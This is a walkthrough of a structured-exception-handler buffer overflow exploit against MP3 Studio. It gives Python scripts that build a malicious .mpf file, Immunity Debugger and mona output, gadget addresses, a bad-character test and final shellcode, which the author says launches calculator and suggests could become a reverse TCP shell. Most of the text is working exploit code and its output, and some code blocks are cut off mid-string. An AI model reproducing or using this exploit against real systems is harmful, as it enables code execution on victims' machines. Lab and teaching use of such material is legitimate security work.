Buffer Overflow for MP3 Studio Offical Writeup

Overflow (or overflown... however you want to look at it)

```
file = "exploit.mpf"

buffer = "A"*5000


f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"
```

First make a python file that sends 5000 A's at MP3 Studio

Double click on python file, thus writing the exploit.mpf document which will be opened in MP3 Studio

```
Immunity: Consulting Services Manager

Registers (FPU)
EAX 0019F7DC
ECX 00000000
EDX 00000000
EBX 41414141
ESP 0019F7C4
EBP 0019F7E4
ESI 41414141
EDI 41414141

EIP 41414141

C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 25F000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)

EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)

ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 4020  Cond 1 0 0 0  Err 0 0 1 0 0 0 0 0  (EQ)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0

Address   Hex dump                 ASCII
0049E000  02 00 8B C0 00 8D 40 00  .■À.@.
0049E008  C0 A0 44 00 90 20 40 00  À D. @.
0049E010  18 22 40 00 8C 25 40 00  ▯"@.■%@.
0049E018  32 1F 8B C0 32 13 8B C0  2■À2▯■À
0049E020  52 75 6E 74 69 6D 65 20  Runtime
0049E028  65 72 72 6F 72 20 20 20  error
0049E030  20 20 61 74 20 30 30 30    at 000
0049E038  30 30 30 30 30 00 45 72  00000.Er
0049E040  72 6F 72 00 20 20 20 20  ror.
0049E048  20 20 20 20 20 20 20 20
0049E050  20 20 20 20 20 20 20 20
0049E058  20 20 20 20 20 20 20 20
0049E060  20 20 20 20 20 20 20 20
0049E068  20 20 20 20 20 20 20 20
0049E070  20 20 20 20 20 20 20 20
0049E078  20 20 20 20 20 20 20 20
0049E080  20 20 20 20 0D 0A 8B C0     ..■À

0019F9D4  41414141  AAAA
0019F9D8  41414141  AAAA
0019F9DC  41414141  AAAA
0019F9E0  41414141  AAAA
0019F9E4  02265F68  h_&   ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0019F9E8  02263ECC  Ì>&   ASCII "C:\Users\Vuln\Desktop\exploit.mpf"
0019F9EC  0019FB18  ▯Û▯.
0019F9F0  0048BB15  ▯»H.  RETURN to MP3Studi.0048BB15 from MP3Studi
0019F9F4  0019FB64  dÛ▯.
0019F9F8  0048BB8B  ■»H.  MP3Studi.0048BB8B
0019F9FC  0019FB18  ▯Û▯.
0019FA00  00000233  3 ..
0019FA04  0019FB94  ■Û▯.
0019FA08  02242224  $"$
0019FA0C  02263ECC  Ì>&   ASCII "C:\Users\Vuln\Desktop\exploit.mpf"
0019FA10  5C3A4384  ■C:\
0019FA14  72657355  User
0019FA18  75565C73  s\Vu

[05:58:15] Access violation when executing [41414141] - use Shift+F7/F8/F9 to pass exception to program
```

As shown on the bottom we can pass an exception, lets press shift F9 to do that

You can see the program will continue to try and load other things

Now it is time to find the offest

msf-pattern_create -l 5000

This will create a pattern of 5000 bytes within kali, go ahead and copy that and paste that into notepad deleting the A's

```
file = "exploit.mpf"

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9

f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"
```

Press Shift+F9 and copy the EIP value

```
Registers (FPU)
EAX 00000000
ECX 46326846
EDX 77C98900 ntdll.77C98900
EBX 00000000
ESP 0019E1F0
EBP 0019E210
ESI 00000000
EDI 00000000

EIP 46326846
```

Copy EIP back to kali and find the offest

Now update exploit

```
file = "exploit.mpf"

buffer = "A"*4116
buffer += "B"*4
buffer += "C"*4
buffer += "D"*500

f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"
```

The A's will cause the overflow, the B's are in the nSEH, the C's are in the SEH and the D's are to see if we have room aftewards

```
0019F7B0  41414141  AAAA
0019F7B4  41414141  AAAA
0019F7B8  41414141  AAAA
0019F7BC  41414141  AAAA
0019F7C0  41414141  AAAA
0019F7C4  41414141  AAAA  Pointer to next SEH record
0019F7C8  42424242  BBBB  SE handler
0019F7CC  43434343  CCCC
```

As you can see we sent too many A's, delete 4 of them, so now your number should 4112 and send the exploit again

Once you change your exploit and send it back, you can now pass the execption with SHIFT+F9 which will then show you that the EIP has been overwritten with C's (43)

You should have also noticed the 0's that are breaking up our D's, this is going to be a problem so we will have to make a further jump

Restart the program and do not send the exploit

Use MONA to find a POP/POP/RET to bypass the SEH

```
!mona seh
New thread with ID 000022E0 created
```

You may have to wait a minute and also minimze the CPU view tray

```
004068D4   0x004068d4 : pop ecx # pop ebp # ret 0x04 | startnul
00407650   0x00407650 : pop ecx # pop ebp # ret 0x04 | startnul
004077C4   0x004077c4 : pop ecx # pop ebp # ret 0x04 | startnul
0040C569   0x0040c569 : pop ecx # pop ebp # ret 0x04 | startnul
0040D70B   0x0040d70b : pop ecx # pop ebp # ret 0x04 | startnul
00411833   0x00411833 : pop ecx # pop ebp # ret 0x04 | startnul
0041724E   0x0041724e : pop ecx # pop ebp # ret 0x04 | startnul
0041A110   0x0041a110 : pop ecx # pop ebp # ret 0x04 | startnul
0041B3F3   0x0041b3f3 : pop ecx # pop ebp # ret 0x04 | startnul
0041D711   0x0041d711 : pop ecx # pop ebp # ret 0x04 | startnul
0041DAF4   0x0041daf4 : pop ecx # pop ebp # ret 0x04 | startnul
0041E817   0x0041e817 : pop ecx # pop ebp # ret 0x04 | startnul
0041F7CA   0x0041f7ca : pop ecx # pop ebp # ret 0x04 | startnul
004219B7   0x004219b7 : pop ecx # pop ebp # ret 0x04 | startnul
004275A5   0x004275a5 : pop ecx # pop ebp # ret 0x04 | startnul
00434F69   0x00434f69 : pop ecx # pop ebp # ret 0x04 | startnul
00436AFD   0x00436afd : pop ecx # pop ebp # ret 0x04 | startnul
0043A3C3   0x0043a3c3 : pop ecx # pop ebp # ret 0x04 | startnul
0043EA89   0x0043ea89 : pop ecx # pop ebp # ret 0x04 | startnul
0043EDAD   0x0043edad : pop ecx # pop ebp # ret 0x04 | startnul
0BADF00D ... Please wait while I'm processing all remaining resu
0BADF00D [+] Done. Only the first 20 pointers are shown here. Fo
0BADF00D     Found a total of 2571 pointers
```

Do not use any of these, we need to find one with anything like a 0x0 next to it, so open the location that the other pointers are stored

I used the following JMP location for POP/POP/RET

jmp 0x10015901

Update payload with the following

The eb\22 is a jump foward, which constitutes as a small jump

Also to find bad characters we can use the following python3 script

```
for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()
```

```
file = "exploit.mpf"

buffer = "A"*4112
buffer += "\xeb\x22\x90\x90" #nSEH Forward Jump
buffer += "\x01\x58\x01\x10" #POP POP RET
buffer += "\x90"*30 #NOP SLED
buffer += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\
buffer += "D"*500


f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"
```

Send that up, then right click on ESP and follow in dump

```
Address   Hex dump                         ASCII
0019F790  41 41 41 41 41 41 41 41  AAAAAAAA
0019F798  41 41 41 41 41 41 41 41  AAAAAAAA
0019F7A0  41 41 41 41 41 41 41 41  AAAAAAAA
0019F7A8  41 41 41 41 41 41 41 41  AAAAAAAA
0019F7B0  41 41 41 41 41 41 41 41  AAAAAAAA
0019F7B8  41 41 41 41 41 41 41 41  AAAAAAAA
0019F7C0  41 41 41 41 EB 22 90 90  AAAAë"
0019F7C8  01 58 01 10 90 90 90 90  X
0019F7D0  90 90 90 90 90 90 90 90
0019F7D8  90 90 90 90 00 00 00 00  ....
0019F7E0  90 90 90 90 90 90 90 90
0019F7E8  90 90 01 02 03 04 05 06
0019F7F0  07 08 09 00 80 BB 25 02  ..€»%
0019F7F8  EC 11 49 00 F4 F9 19 00  ìI.ôù.
0019F800  12 12 49 00 EC F9 19 00  I.ìù.
```

As you can see there are bad characters, so now we need to work on finding those bad characters

Some common bad characters are the following

\x00
\x0a
\x0d
\x20

Lastly we can write our exploit

```
file = "exploit.mpf"

sc = (
"\xbb\xd5\x19\xbe\x3b\xdb\xd9\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x31\x83\xc0\x04\x31\x58\x0f\x03\x58\xda\xfb\x4b\xc7\x0c\x79"
"\xb3\x38\xcc\x1e\x3d\xdd\xfd\x1e\x59\x95\xad\xae\x29\xfb\x41"
"\x44\x7f\xe8\xd2\x28\xa8\x1f\x53\x86\x8e\x2e\x64\xbb\xf3\x31"
"\xe6\xc6\x27\x92\xd7\x08\x3a\xd3\x10\x74\xb7\x81\xc9\xf2\x6a"
"\x36\x7e\x4e\xb7\xbd\xcc\x5e\xbf\x22\x84\x61\xee\xf4\x9f\x3b"
"\x30\xf6\x4c\x30\x79\xe0\x91\x7d\x33\x9b\x61\x09\xc2\x4d\xb8"
"\xf2\x69\xb0\x75\x01\x73\xf4\xb1\xfa\x06\x0c\xc2\x87\x10\xcb"
"\xb9\x53\x94\xc8\x19\x17\x0e\x35\x98\xf4\xc9\xbe\x96\xb1\x9e"
"\x99\xba\x44\x72\x92\xc6\xcd\x75\x75\x4f\x95\x51\x51\x14\x4d"
"\xfb\xc0\xf0\x20\x04\x12\x5b\x9c\xa0\x58\x71\xc9\xd8\x02\x1f"
"\x0c\x6e\x39\x6d\x0e\x70\x42\xc1\x67\x41\xc9\x8e\xf0\x5e\x18"
"\xeb\x0f\x15\x01\x5d\x98\xf0\xd3\xdc\xc5\x02\x0e\x22\xf0\x80"
"\xbb\xda\x07\x98\xc9\xdf\x4c\x1e\x21\xad\xdd\xcb\x45\x02\xdd"
"\xd9\x25\xc5\x4d\x81\x87\x60\xf6\x20\xd8"
)

buffer = "A"*4112
buffer += "\xeb\x22\x90\x90" #nSEH Forward Jump
buffer += "\x01\x58\x01\x10" #POP POP RET
buffer += "\x90"*30 #NOP SLED
buffer += sc

f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"
```

The sc that is used here is just to pop calculator, you can do whatever you would like after this such as making a reverse TCP connection or whatever else